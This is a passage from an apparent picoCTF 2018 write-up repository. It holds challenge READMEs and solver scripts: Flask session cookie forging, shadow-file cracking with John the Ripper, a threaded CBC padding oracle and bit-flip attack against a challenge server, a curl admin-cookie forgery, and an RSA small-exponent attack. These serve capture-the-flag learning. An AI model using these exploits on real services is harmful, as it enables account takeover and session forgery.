sessionDict) 41 | decodedDict = decodeFlaskCookie(sk, cookie) 42 | assert sessionDict==decodedDict 43 | ''' 44 | 45 | secret = "c76db0dbbe5a58ad1a322d3b49923a96" 46 | cookie = ".eJwlj0mKA0EMBP9SZx-01SJ_pimpJMYYZqDbPhn_3W3mGhBB5qtsucfxU66P_RmXst1WuZYA7IIJhs6uOSaEV0hs3tYkn-iYS5oMEuPprXuAsw6pijM5qvVcNIewY5udVHutzhJs9XRImVsahCUpUT3ruNK7DABEMi-X4see2-PvHr_nnmyqaM4z10ojY1lcG8EUoEqpDIEn-XrPI_b_E9jK-wP8lD8c.DptLWQ.MW5jOpHaZnd1EnUJJu_rPN7PcsQ" 47 | session = decodeFlaskCookie(secret, cookie) 48 | print 'Decoded cookie:', session 49 | 50 | session['user_id'] = u'1' 51 | cookie = encodeFlaskCookie(secret, session) 52 | print 'New cookie:', cookie 53 | 54 | 55 | 56 | -------------------------------------------------------------------------------- /Solved/HEEEEEEERE_S_Johnny/README.md: -------------------------------------------------------------------------------- 1 | # HEEEEEEERE'S Johnny 2 | Cryptography - 100 points 3 | 4 | ## Challenge 5 | > Okay, so we found some important looking files on a linux computer. Maybe they can be used to get a password to the process. Connect with `nc 2018shell2.picoctf.com 40157`. 6 | 7 | > Files can be found here: [`passwd`](passwd) [`shadow`](shadow). 8 | 9 | ## Solution 10 | 11 | On a Mac, install John the Ripper 12 | 13 | $ brew install john-jumbo 14 | 15 | Crack it, it literally took like 1 second 16 | 17 | $ /usr/local/Cellar/john-jumbo/1.8.0/share/john/unshadow ./passwd ./shadow > ./result.db 18 | 19 | $ /usr/local/Cellar/john-jumbo/1.8.0/share/john/john ./result.db 20 | Warning: detected hash type "sha512crypt", but the string is also recognized as "sha512crypt-opencl" 21 | Use the "--format=sha512crypt-opencl" option to force loading these as that type instead 22 | Warning: hash encoding string length 98, type id $6 23 | appears to be unsupported on this system; will not load such hashes. 24 | Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 64/64 OpenSSL]) 25 | Press 'q' or Ctrl-C to abort, almost any other key for status 26 | kissme (root) 27 | 1g 0:00:00:03 DONE 2/3 (2018-09-29 11:51) 0.2932g/s 693.5p/s 693.5c/s 693.5C/s kissme 28 | Use the "--show" option to display all of the cracked passwords reliably 29 | Session completed 30 | 31 | So the password is: 32 | 33 | kissme 34 | 35 | View result.db and we know the username is: 36 | 37 | root 38 | 39 | Login 40 | 41 | $ nc 2018shell2.picoctf.com 40157 42 | Username: root 43 | Password: kissme 44 | picoCTF{J0hn_1$_R1pp3d_1b25af80} 45 | 46 | 47 | ## Flag 48 | 49 | ?? -------------------------------------------------------------------------------- /Solved/HEEEEEEERE_S_Johnny/passwd: -------------------------------------------------------------------------------- 1 | root:x:0:0:root:/root:/bin/bash -------------------------------------------------------------------------------- /Solved/HEEEEEEERE_S_Johnny/result.db: -------------------------------------------------------------------------------- 1 | root:$6$q7xpw/2.$la4KiUz87ohdszbOVoIopy2VTwm/5jEXvWSdWynh0CnP5T.MnJfVNCzp3IfJMHUNuBhr1ewcYd8PyeKHqHQoe.:0:0:root:/root:/bin/bash 2 | -------------------------------------------------------------------------------- /Solved/HEEEEEEERE_S_Johnny/shadow: -------------------------------------------------------------------------------- 1 | root:$6$q7xpw/2.$la4KiUz87ohdszbOVoIopy2VTwm/5jEXvWSdWynh0CnP5T.MnJfVNCzp3IfJMHUNuBhr1ewcYd8PyeKHqHQoe.:17770:0:99999:7::: 2 | -------------------------------------------------------------------------------- /Solved/LoadSomeBits/README.md: -------------------------------------------------------------------------------- 1 | # LoadSomeBits 2 | Forensics - 550 points 3 | 4 | ## Challenge 5 | > Can you find the flag encoded inside this image? You can also find the file in /problems/loadsomebits_3_8933ebe9085168b1e0bbb07884c2231f on the shell server. 6 | 7 | [pico2018-special-logo.bmp](pico2018-special-logo.bmp) 8 | 9 | ## Hint 10 | > Look through the Least Significant Bits for the image 11 | If you interpret a binary sequence (seq) as ascii and then try interpreting the same binary sequence from an offset of 1 (seq[1:]) as ascii do you get something similar or completely different? 12 | 13 | 14 | ## Solution 15 | 16 | Hint is very direct, and it also reminds me of last year's challenge... 17 | 18 | Using the exact same script courtesy of[@LFlare from PicoCTF 2017: Little School Bus](https://github.com/LFlare/picoctf_2017_writeup/tree/master/forensics/little-school-bus), we get the flag. 19 | 20 | ## Flag 21 | 22 | picoCTF{st0r3d_iN_tH3_l345t_s1gn1f1c4nT_b1t5_449088860} -------------------------------------------------------------------------------- /Solved/LoadSomeBits/pico2018-special-logo.bmp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/LoadSomeBits/pico2018-special-logo.bmp -------------------------------------------------------------------------------- /Solved/LoadSomeBits/search.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | ## 3 | # Script for PicoCTF Little School Bus challenge 4 | # Created by Amos (LFlare) Ng 5 | ## 6 | 7 | text_max_length = 600 8 | for iter in range(16): 9 | with open("pico2018-special-logo.bmp", "rb") as file: 10 | data = file.read() 11 | data = data[iter:] 12 | 13 | bits = "" 14 | for c in data[:text_max_length]: 15 | lsb = str(c & 0x1) 16 | bits += lsb 17 | 18 | bytess = [chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)] 19 | lsbstr = "".join(bytess) 20 | print(iter, lsbstr) 21 | if "flag" in lsbstr: 22 | break 23 | 24 | -------------------------------------------------------------------------------- /Solved/Magic_Padding_Oracle/pkcs7.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | import os 3 | import json 4 | import sys 5 | import time 6 | 7 | from Crypto.Cipher import AES 8 | 9 | cookiefile = open("cookie", "r").read().strip() 10 | flag = open("flag", "r").read().strip() 11 | key = open("key", "r").read().strip() 12 | 13 | welcome = """ 14 | Welcome to Secure Encryption Service version 1.65 15 | """ 16 | def pad(s): 17 | return s + (16 - len(s) % 16) * chr(16 - len(s) % 16) 18 | 19 | def isvalidpad(s): 20 | return ord(s[-1])*s[-1:]==s[-ord(s[-1]):] 21 | 22 | def unpad(s): 23 | return s[:-ord(s[len(s)-1:])] 24 | 25 | def encrypt(m): 26 | IV="This is an IV456" 27 | cipher = AES.new(key.decode('hex'), AES.MODE_CBC, IV) 28 | return IV.encode("hex")+cipher.encrypt(pad(m)).encode("hex") 29 | 30 | def decrypt(m): 31 | cipher = AES.new(key.decode('hex'), AES.MODE_CBC, m[0:32].decode("hex")) 32 | return cipher.decrypt(m[32:].decode("hex")) 33 | 34 | 35 | # flush output immediately 36 | sys.stdout = os.fdopen(sys.stdout.fileno(), 'w', 0) 37 | print welcome 38 | print "Here is a sample cookie: " + encrypt(cookiefile) 39 | 40 | # Get their cookie 41 | print "What is your cookie?" 42 | cookie2 = sys.stdin.readline() 43 | # decrypt, but remove the trailing newline first 44 | cookie2decoded = decrypt(cookie2[:-1]) 45 | 46 | if isvalidpad(cookie2decoded): 47 | d=json.loads(unpad(cookie2decoded)) 48 | print "username: " + d["username"] 49 | print "Admin? " + d["is_admin"] 50 | exptime=time.strptime(d["expires"],"%Y-%m-%d") 51 | if exptime > time.localtime(): 52 | print "Cookie is not expired" 53 | else: 54 | print "Cookie is expired" 55 | if d["is_admin"]=="true" and exptime > time.localtime(): 56 | print "The flag is: " + flag 57 | else: 58 | print "invalid padding" 59 | -------------------------------------------------------------------------------- /Solved/Magic_Padding_Oracle/solve_bitflip.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from solve_extract import xor_zip_bytes, tohex, attack_block 3 | 4 | ciphertext = bytes.fromhex("5468697320697320616e204956343536bade59109764febea2c7750a4dae94dc9d494afe7d2f6f65fb1396791585bc03001275db3d5dc7666a39a5b1159e261a7bce4dd133a77c975cbba1ddb3751bc69f88ebbf9d2ca59cda28230eddb23e16") 5 | 6 | # Block 0 - #16: b'\x16\xf7\xb0m\xb94vpd\x1a\xbf\xf3\xdf\xd1\xff\x8a' True 7 | C0 = b'This is an IV456' 8 | I0 = b'\x16\xf7\xb0m\xb94vpd\x1a\xbf\xf3\xdf\xd1\xff\x8a' 9 | P0 = b'' 10 | 11 | # Block 1 - #16: b'/J\x1c\x00E\x1b\x1dA\x0c\x0b\x02sv\x16RC' True 12 | C1 = b'\xba\xdeY\x10\x97d\xfe\xbe\xa2\xc7u\nM\xae\x94\xdc' 13 | I1 = b'/J\x1c\x00E\x1b\x1dA\x0c\x0b\x02sv\x16RC' 14 | P1 = b'{"username": "gu' 15 | 16 | # Block 2 - #16: b'\xdf\xad-2\xbbD\xdc\xdb\xda\xb7\x1cx(\xdd\xb6\xe6' True 17 | C2 = b'\x9dIJ\xfe}/oe\xfb\x13\x96y\x15\x85\xbc\x03' 18 | I2 = b'\xdf\xad-2\xbbD\xdc\xdb\xda\xb7\x1cx(\xdd\xb6\xe6' 19 | P2 = b'est", "expires":' 20 | 21 | # Block 3 - #16: b'\xbdkx\xceM\x1fBU\xca>\xa6N7\xa9\x9c!' True 22 | C3 = b'\x00\x12u\xdb=]\xc7fj9\xa5\xb1\x15\x9e&\x1a' 23 | I3 = b'\xbdkx\xceM\x1fBU\xca>\xa6N7\xa9\x9c!' 24 | P3 = b' "2000-01-07", "' 25 | 26 | # Block 4 - #16: b'ia*\xbaY0\xae\x08H\x03\x85\x93s\xffJi' True 27 | C4 = b'{\xceM\xd13\xa7|\x97\\\xbb\xa1\xdd\xb3u\x1b\xc6' 28 | I4 = b'ia*\xbaY0\xae\x08H\x03\x85\x93s\xffJi' 29 | P4 = b'is_admin": "fals' 30 | 31 | # Block 5 - #16: b'\x1e\xec0\xdc>\xaaq\x9aQ\xb6\xac\xd0\xbex\x16\xcb' True 32 | C5 = b'\x9f\x88\xeb\xbf\x9d,\xa5\x9c\xda(#\x0e\xdd\xb2>\x16' 33 | I5 = b'\x1e\xec0\xdc>\xaaq\x9aQ\xb6\xac\xd0\xbex\x16\xcb' 34 | P5 = b'e"}\r\r\r\r\r\r\r\r\r\r\r\r\r' 35 | 36 | Cx = [C0, C1, C2, C3, C4, C5] 37 | Ix = [I0, I1, I2, I3, I4, I5] 38 | Px = [P0, P1, P2, P3, P4, P5] 39 | 40 | 41 | def get_full_ciphertext(): 42 | return b''.join(Cx) 43 | 44 | 45 | def get_full_text(): 46 | full = b'' 47 | for block in range(1, 6): 48 | Px[block] = xor_zip_bytes(Ix[block], Cx[block-1]) 49 | full += Px[block] 50 | return full 51 | 52 | 53 | def change_text(block, newtext): 54 | delta = xor_zip_bytes(Px[block], newtext) 55 | # print(Cx[block-1]) 56 | 57 | # control the ciphertext only 58 | Cx[block-1] = xor_zip_bytes(Cx[block-1], delta) 59 | # print(Cx[block-1]) 60 | 61 | # Afterwhich the cipher of the previous will affect 62 | # the intermediate value too. So, update it here. 63 | c, i, p = attack_block(get_full_ciphertext(), block_number=block-1) 64 | Ix[block-1] = i 65 | Px[block-1] = p 66 | 67 | if __name__ == '__main__': 68 | assert (ciphertext) == get_full_ciphertext() 69 | 70 | print("Original") 71 | print(get_full_text()) 72 | print(get_full_ciphertext()) 73 | print(tohex(get_full_ciphertext())) 74 | print() 75 | 76 | print("Bit Flip Block 4") 77 | change_text(4, b'is_admin": "tru') 78 | print() 79 | 80 | print("Bit Flip Block 3") 81 | change_text(3, b' "2040-01-07", "') 82 | print() 83 | 84 | print("Bit Flip Block 2") 85 | change_text(2, b'vst", "expires":') 86 | print() 87 | 88 | print("Bit Flip Block 1") 89 | change_text(1, b'{"username": "ad') 90 | print() 91 | 92 | # change_text(1, b'{"username": "ad') 93 | # change_text(2, b'min", "expires":') 94 | # change_text(3, b' "2040-01-07", "') 95 | # change_text(4, b'is_admin": "tru') 96 | # change_text(4, b'is_admin": "tru') 97 | 98 | print("Final Payload") 99 | print(get_full_text()) 100 | print(tohex(get_full_ciphertext())) 101 | -------------------------------------------------------------------------------- /Solved/Magic_Padding_Oracle/solve_extract.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import socket 3 | import binascii 4 | import time 5 | from multiprocessing.pool import ThreadPool 6 | 7 | 8 | def tohex(text): 9 | return binascii.hexlify(text) 10 | 11 | 12 | def is_valid(payload): 13 | # try until successful 14 | while True: 15 | try: 16 | s = socket.socket() 17 | s.connect(('2018shell2.picoctf.com',6246)) 18 | s.send(payload + b'\n') 19 | # print(payload) 20 | 21 | while True: 22 | data = s.recv(4096).decode().strip() 23 | # print("Received:", data) 24 | if not data: 25 | # print("Received:", data) 26 | return False 27 | if 'invalid padding' in data: 28 | return False 29 | if 'd=json.loads(unpad(cookie2decoded))' in data: 30 | # error decoding, means padding was verified 31 | return True 32 | break 33 | except: 34 | time.sleep(0.5) 35 | return False 36 | 37 | 38 | def get_block(x, b): 39 | return x[16 * b:16 * (b + 1)] 40 | 41 | 42 | def xor_each_byte(byte_array, xor_value): 43 | xored_array = b'' 44 | for b in byte_array: 45 | xored_array += bytes([b ^ xor_value]) 46 | return xored_array 47 | 48 | 49 | def xor_zip_bytes(bytearray1, bytearray2): 50 | final = b'' 51 | for a, b in zip(bytearray1, bytearray2): 52 | final += bytes([a ^ b]) 53 | return final 54 | 55 | 56 | def attack_block(ciphertext, prefix=b'', block_number=2): 57 | IV = prefix # get_block(ciphertext, 0) 58 | C1 = get_block(ciphertext, 1 + (block_number - 2)) 59 | C2 = get_block(ciphertext, 2 + (block_number - 2)) 60 | 61 | 62 | # Start up threads 63 | pool = ThreadPool(processes=50) 64 | 65 | # Get intermediate state of block 2 66 | progress = b'' 67 | while len(progress) < 16: 68 | # count is the padding bytes 69 | count = len(progress) + 1 70 | 71 | async_results = [] 72 | 73 | # For all possible bytes, create a payload 74 | for ch in range(256): 75 | # To begin with, we choose C1'[1..15] to be random bytes, and C1'[16] to be 00 76 | 77 | # We found the last byte by fiddling with C1' until we produced something with valid padding, 78 | # and in doing so were able to infer that the final byte of P'2 was 01. 79 | 80 | # We now choose C1'[1..14] to be random bytes, C1'[15] to be the byte 00, 81 | # and C1'[16] to be a byte chosen so as to make P2'[16] == 02: 82 | 83 | ch = bytes([ch]) 84 | C1p = b'A' * (16-count) + ch + xor_each_byte(progress, count) 85 | payload = tohex(IV+C1p+C2) 86 | 87 | # Send jobs to threads: result = is_valid(payload) 88 | async_result = pool.apply_async(is_valid, (payload,)) 89 | async_results.append((ch, async_result)) 90 | 91 | # Get results 92 | for ch, async_result in async_results: 93 | valid = async_result.get() 94 | if valid: 95 | intermediate_ch = bytes([ch[0] ^ count]) 96 | progress = intermediate_ch + progress 97 | print(f"\rBlock {block_number} - #{count}: {progress} {valid}", end='') 98 | break 99 | 100 | # Get plaintext of block 2 101 | I2 = progress 102 | P2 = xor_zip_bytes(I2, C1) 103 | 104 | print() 105 | print(f"Solved C{block_number}: {C2}") 106 | print(f"Solved I{block_number}: {I2}") 107 | print(f"Solved P{block_number}: {P2}") 108 | 109 | return C2, I2, P2 110 | 111 | 112 | if __name__ == '__main__': 113 | ciphertext = bytes.fromhex("5468697320697320616e204956343536bade59109764febea2c7750a4dae94dc9d494afe7d2f6f65fb1396791585bc03001275db3d5dc7666a39a5b1159e261a7bce4dd133a77c975cbba1ddb3751bc69f88ebbf9d2ca59cda28230eddb23e16") 114 | # print(attack_block(ciphertext, block_number=2)) 115 | 116 | total_blocks = len(ciphertext) // 16 117 | 118 | for block in range(4, total_blocks): 119 | attack_block(ciphertext, block_number=block) 120 | 121 | -------------------------------------------------------------------------------- /Solved/Malware_Shops/README.md: -------------------------------------------------------------------------------- 1 | # Malware Shops 2 | Forensics - 400 points 3 | 4 | ## Challenge 5 | > There has been some [malware](plot.png) detected, can you help with the analysis? [More info here.](info.txt) Connect with nc 2018shell2.picoctf.com 27641. 6 | 7 | 8 | 9 | ## Solution 10 | 11 | $ nc 2018shell2.picoctf.com 27641 12 | You'll need to consult the file `clusters.png` to answer the following questions. 13 | 14 | 15 | How many attackers created the malware in this dataset? 16 | 5 17 | Correct! 18 | 19 | 20 | In the following sample of files from the larger dataset, which file was made by the same attacker who made the file 628e79cf? Indicate your answer by entering that file's hash. 21 | hash jmp_count add_count 22 | 0 628e79cf 7.0 19.0 23 | 1 cc251d4b 19.0 39.0 24 | 2 e2dd99c5 37.0 32.0 25 | 3 076237a5 14.0 45.0 26 | 4 4a6dcbb5 43.0 10.0 27 | 5 1e3d7e49 42.0 8.0 28 | 6 2be8f9ec 18.0 64.0 29 | 7 24c2d2ed 35.0 32.0 30 | 8 d5eeef48 21.0 67.0 31 | 9 ebaf5ccd 8.0 20.0 32 | ebaf5ccd 33 | Correct! 34 | 35 | 36 | Great job. You've earned the flag: picoCTF{w4y_0ut_28483c2e} 37 | Downloads 38 | 39 | Reasons: 40 | 41 | 1. 5 colors in the graph 42 | 2. Similar jmp_count and add_count 43 | 44 | ## Flag 45 | 46 | picoCTF{w4y_0ut_28483c2e} 47 | -------------------------------------------------------------------------------- /Solved/Malware_Shops/info.txt: -------------------------------------------------------------------------------- 1 | You've been given a dataset of about 500 malware binary files that have 2 | been found on your organization's computers. Whenever you find more malware, 3 | you want to be able to tell if you've seen a file like this before. 4 | 5 | Binary files are hard to understand. When code is written, there are several 6 | more steps before it becomes software. Some parts of this process are: 7 | i. Compiling, which turns human-readable source code into assembly code. 8 | Assembly code is difficult for humans to read, but it closely mimics the most 9 | basic raw instructions that a computer needs in order to run a program. 10 | ii. Assembling, which turns assembly code into machine code. Machine code is 11 | impossible for humans to read, but this representation is what a computer 12 | actually needs to execute. 13 | 14 | The malware binary files that were given to you to analyze are all in machine 15 | code, but luckily, you were able to run a program called a disassembler to 16 | turn them back into assembly code. 17 | 18 | Assembly code contains *instructions* which tell a computer how to update 19 | its own internal memory, and its progress through reading the assembly code 20 | itself. For instance, the `jmp` instruction means "jump to executing a 21 | different instruction", and the `add` instruction means "add two numbers and 22 | store the result in memory". 23 | 24 | Your dataset contains data about all the malware files, including their 25 | file hash, which serves as a name, and the counts of all of the `jmp` and `add` 26 | instructions. 27 | 28 | Malware attackers often release many slightly different versions of the same 29 | malware over time. These different versions always have totally different 30 | hashes, but they are likely to have similar numbers of `jmp` and `add` 31 | instructions. 32 | -------------------------------------------------------------------------------- /Solved/Malware_Shops/plot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/Malware_Shops/plot.png -------------------------------------------------------------------------------- /Solved/No_Login/README.md: -------------------------------------------------------------------------------- 1 | # No Login 2 | Web Exploitation - 200 points 3 | 4 | ## Challenge 5 | > Looks like someone started making a website but never got around to making a login, but I heard there was a flag if you were the admin. http://2018shell2.picoctf.com:39670 6 | 7 | ## Hint 8 | > What is it actually looking for in the cookie? 9 | 10 | 11 | ## Solution 12 | 13 | 14 | I got confused with the session cookie, but the solution is simply to create an `admin` cookie and do a GET request to `/flag` 15 | 16 | 17 | $ curl -s --cookie "admin=1" -L http://2018shell2.picoctf.com:39670/flag | grep pico 18 |

Flag: picoCTF{n0l0g0n_n0_pr0bl3m_50e16a5c}

19 | 20 | 21 | References: 22 | - https://support.portswigger.net/customer/portal/articles/1783055-Installing_Configuring%20your%20Browser.html 23 | - https://support.portswigger.net/customer/portal/articles/1964073-using-burp-to-hack-cookies-and-manipulate-sessions 24 | 25 | ## Flag 26 | 27 | picoCTF{n0l0g0n_n0_pr0bl3m_50e16a5c} 28 | -------------------------------------------------------------------------------- /Solved/Radix_s_Terminal/README.md: -------------------------------------------------------------------------------- 1 | # Radix's Terminal 2 | Reversing - 400 points 3 | 4 | ## Challenge 5 | > Can you find the password to [Radix's login](radix)? You can also find the executable in /problems/radix-s-terminal_1_35b3f86ea999e44d72e988ef4035e872? 6 | 7 | ## Hint 8 | > https://en.wikipedia.org/wiki/Base64 9 | 10 | 11 | ## Solution 12 | 13 | Open in Hopper Decompiler 14 | 15 | int check_password(int arg0) { 16 | // lots of code 17 | 18 | eax = strncmp(var_20, "cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfMTg3NTk3NDV9", var_28); 19 | ebx = *0x14 ^ *0x14; 20 | if (ebx != 0x0) { 21 | eax = __stack_chk_fail(); 22 | } 23 | return eax; 24 | } 25 | 26 | Decode using base64 27 | 28 | cGljb0NURntiQXNFXzY0X2VOQ29EaU5nX2lTX0VBc1lfMTg3NTk3NDV9 29 | 30 | 31 | ## Flag 32 | 33 | picoCTF{bAsE_64_eNCoDiNg_iS_EAsY_18759745} -------------------------------------------------------------------------------- /Solved/Radix_s_Terminal/radix: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/Radix_s_Terminal/radix -------------------------------------------------------------------------------- /Solved/Reading_Between_the_Eyes/README.md: -------------------------------------------------------------------------------- 1 | # Reading Between the Eyes 2 | Forensics - 150 points 3 | 4 | ## Challenge 5 | > Stego-Saurus hid a message for you in [this](husky.png) image, can you retreive it? 6 | 7 | ## Hint 8 | 9 | > Maybe you can find an online decoder? 10 | 11 | ## Solution 12 | 13 | #### Identify the message 14 | 15 | Open using StegSolve. 16 | 17 | At Red Plane 0, it is completely black except some white pixels in the top left. The same occurs at Green Plane 0, Blue Plane 0. 18 | 19 | This means there's some bits hidden in the LSB of each color. 20 | 21 | --- 22 | 23 | The method to extract the message is detailed in this [Stackoverflow post](https://stackoverflow.com/a/22852441) 24 | 25 | #### Solve using Python PIL 26 | 27 | I refer back to my code from [TPCTF 2017 - Not_Quite_LSD](https://github.com/zst123/tpctf-2017-writeups/tree/master/Solved/Not_Quite_LSD). 28 | 29 | Run the script and we get binary 30 | 31 | $ python3 solve.py 32 | 011100000110100101100011011011110100001101010100010001100111101101110010001100110011010001100100001100010110111001100111010111110110001000110011001101110111011100110011001100110110111001011111001101110110100000110011010111110110001001111001001101110011001101110011011111010000000000000000000000000000 33 | 34 | which corresponds to the ascii 35 | 36 | picoCTF{r34d1ng_b37w33n_7h3_by73s} 37 | 38 | #### Online Solver 39 | 40 | Alternatively, there is a convenient online solver. 41 | http://stylesuxx.github.io/steganography/ 42 | 43 | ## Flag 44 | 45 | picoCTF{r34d1ng_b37w33n_7h3_by73s} -------------------------------------------------------------------------------- /Solved/Reading_Between_the_Eyes/husky.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/Reading_Between_the_Eyes/husky.png -------------------------------------------------------------------------------- /Solved/Reading_Between_the_Eyes/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | from PIL import Image 3 | 4 | im = Image.open('husky.png') 5 | im = im.convert('RGB') 6 | 7 | flag = '' 8 | for x in range(100): 9 | pixel = im.getpixel((x, 0)) 10 | flag += str(pixel[0] & 1) 11 | flag += str(pixel[1] & 1) 12 | flag += str(pixel[2] & 1) 13 | 14 | print(flag) -------------------------------------------------------------------------------- /Solved/Recovering_From_the_Snap/00005861.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/Recovering_From_the_Snap/00005861.jpg -------------------------------------------------------------------------------- /Solved/Recovering_From_the_Snap/README.md: -------------------------------------------------------------------------------- 1 | # Recovering From the Snap 2 | Forensics - 150 points 3 | 4 | ## Challenge 5 | > There used to be a bunch of [animals](animals.dd) here, what did Dr. Xernon do to them? 6 | 7 | ## Hint 8 | > Some files have been deleted from the disk image, but are they really gone? 9 | 10 | 11 | ## Solution 12 | 13 | Foremost can extract deleted files from `.dd`s. 14 | 15 | $ foremost animals.dd 16 | Processing: animals.dd 17 | |*| 18 | 19 | 20 | ## Flag 21 | 22 | 00005861.jpg 23 | 24 | ![00005861.jpg](00005861.jpg) -------------------------------------------------------------------------------- /Solved/Recovering_From_the_Snap/animals.dd: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zst-ctf/picoctf-2018-writeups/d77f32fa23054a574ee19eb365432f33ca41668b/Solved/Recovering_From_the_Snap/animals.dd -------------------------------------------------------------------------------- /Solved/Safe_RSA/README.md: -------------------------------------------------------------------------------- 1 | # Safe RSA 2 | Cryptography - 250 points 3 | 4 | ## Challenge 5 | > Now that you know about RSA can you help us decrypt this [ciphertext](ciphertext)? We don't have the decryption key but something about those values looks funky.. 6 | 7 | ## Solution 8 | 9 | N is very big and e is very small, so a cube root can be used. 10 | 11 | [Exploit is when n is very big but e is very small](https://github.com/zst123/gryphonctf-2017-writeups/tree/master/Solved/NoWrap) 12 | 13 | ## Flag 14 | 15 | picoCTF{e_w4y_t00_sm411_7815e4a7} -------------------------------------------------------------------------------- /Solved/Safe_RSA/ciphertext: -------------------------------------------------------------------------------- 1 | 2 | N: 374159235470172130988938196520880526947952521620932362050308663243595788308583992120881359365258949723819911758198013202644666489247987314025169670926273213367237020188587742716017314320191350666762541039238241984934473188656610615918474673963331992408750047451253205158436452814354564283003696666945950908549197175404580533132142111356931324330631843602412540295482841975783884766801266552337129105407869020730226041538750535628619717708838029286366761470986056335230171148734027536820544543251801093230809186222940806718221638845816521738601843083746103374974120575519418797642878012234163709518203946599836959811 3 | e: 3 4 | 5 | ciphertext (c): 2205316413931134031046440767620541984801091216351222789180573437837873413848819848972069088625959518346568495824756225842751786440791759449675594790690830246158935538568387091288002447511390259320746890980769089692036188995150522856413797 6 | -------------------------------------------------------------------------------- /Solved/Safe_RSA/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import gmpy2 3 | import binascii 4 | 5 | gmpy2.get_context().precision=200 6 | 7 | c = 2205316413931134031046440767620541984801091216351222789180573437837873413848819848972069088625959518346568495824756225842751786440791759449675594790690830246158935538568387091288002447511390259320746890980769089692036188995150522856413797 8 | 9 | # https://stackoverflow.com/a/356187 10 | # gmpy2 has gmpy2.iroot to compute integer roots 11 | 12 | m = gmpy2.iroot(c, 3)[0] 13 | print(m) 14 | 15 | assert pow(m,3) == c 16 | 17 | # Convert to ascii 18 | def hex_pair(x): 19 | return ('0' * (len(x) % 2)) + x 20 | 21 | m_hex = '{:x}'.format(m) 22 | m_hex = hex_pair(m_hex) 23 | msg = binascii.unhexlify(m_hex) 24 | print(msg.decode()) 25 | -------------------------------------------------------------------------------- /Solved/Secure_Logon/README.md: -------------------------------------------------------------------------------- 1 | # Secure Logon 2 | Web Exploitation - 500 points 3 | 4 | ## Challenge 5 | > Uh oh, the login page is more secure... I think. http://2018shell2.picoctf.com:56265 (link). Source. 6 | 7 | ## Hint 8 | > There are versions of AES that really aren't secure. 9 | 10 | 11 | ## Solution 12 | 13 | AES CBC is used for the cookie. 14 | 15 | The session dict plaintext is shown to us upon login. And the cookie value is the session dict ciphertext with IV. 16 | 17 | 18 | This is the plaintext 19 | 20 | {'admin': 0, 'password': 'hi', 'username': 'hi'} 21 | 22 | I want to modify admin to 1, and the integer happens to reside in the first block. 23 | 24 | Hence, it is very easy to just flip one bit of the IV. 25 | 26 | Upon flipping the bit and using the new cookie, the website shows us the flag 27 | 28 | ## Flag 29 | 30 | Flag: picoCTF{fl1p_4ll_th3_bit3_2efa4bf8} 31 | -------------------------------------------------------------------------------- /Solved/Secure_Logon/server_noflag.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, render_template, request, url_for, redirect, make_response, flash 2 | import json 3 | from hashlib import md5 4 | from base64 import b64decode 5 | from base64 import b64encode 6 | from Crypto import Random 7 | from Crypto.Cipher import AES 8 | 9 | app = Flask(__name__) 10 | app.secret_key = 'seed removed' 11 | flag_value = 'flag removed' 12 | 13 | BLOCK_SIZE = 16 # Bytes 14 | pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \ 15 | chr(BLOCK_SIZE - len(s) % BLOCK_SIZE) 16 | unpad = lambda s: s[:-ord(s[len(s) - 1:])] 17 | 18 | 19 | @app.route("/") 20 | def main(): 21 | return render_template('index.html') 22 | 23 | @app.route('/login', methods=['GET', 'POST']) 24 | def login(): 25 | if request.form['user'] == 'admin': 26 | message = "I'm sorry the admin password is super secure. You're not getting in that way." 27 | category = 'danger' 28 | flash(message, category) 29 | return render_template('index.html') 30 | resp = make_response(redirect("/flag")) 31 | 32 | cookie = {} 33 | cookie['password'] = request.form['password'] 34 | cookie['username'] = request.form['user'] 35 | cookie['admin'] = 0 36 | print(cookie) 37 | cookie_data = json.dumps(cookie, sort_keys=True) 38 | encrypted = AESCipher(app.secret_key).encrypt(cookie_data) 39 | print(encrypted) 40 | resp.set_cookie('cookie', encrypted) 41 | return resp 42 | 43 | @app.route('/logout') 44 | def logout(): 45 | resp = make_response(redirect("/")) 46 | resp.set_cookie('cookie', '', expires=0) 47 | return resp 48 | 49 | @app.route('/flag', methods=['GET']) 50 | def flag(): 51 | try: 52 | encrypted = request.cookies['cookie'] 53 | except KeyError: 54 | flash("Error: Please log-in again.") 55 | return redirect(url_for('main')) 56 | data = AESCipher(app.secret_key).decrypt(encrypted) 57 | data = json.loads(data) 58 | 59 | try: 60 | check = data['admin'] 61 | except KeyError: 62 | check = 0 63 | if check == 1: 64 | return render_template('flag.html', value=flag_value) 65 | flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success") 66 | return render_template('not-flag.html', cookie=data) 67 | 68 | class AESCipher: 69 | """ 70 | Usage: 71 | c = AESCipher('password').encrypt('message') 72 | m = AESCipher('password').decrypt(c) 73 | Tested under Python 3 and PyCrypto 2.6.1. 74 | """ 75 | 76 | def __init__(self, key): 77 | self.key = md5(key.encode('utf8')).hexdigest() 78 | 79 | def encrypt(self, raw): 80 | raw = pad(raw) 81 | iv = Random.new().read(AES.block_size) 82 | cipher = AES.new(self.key, 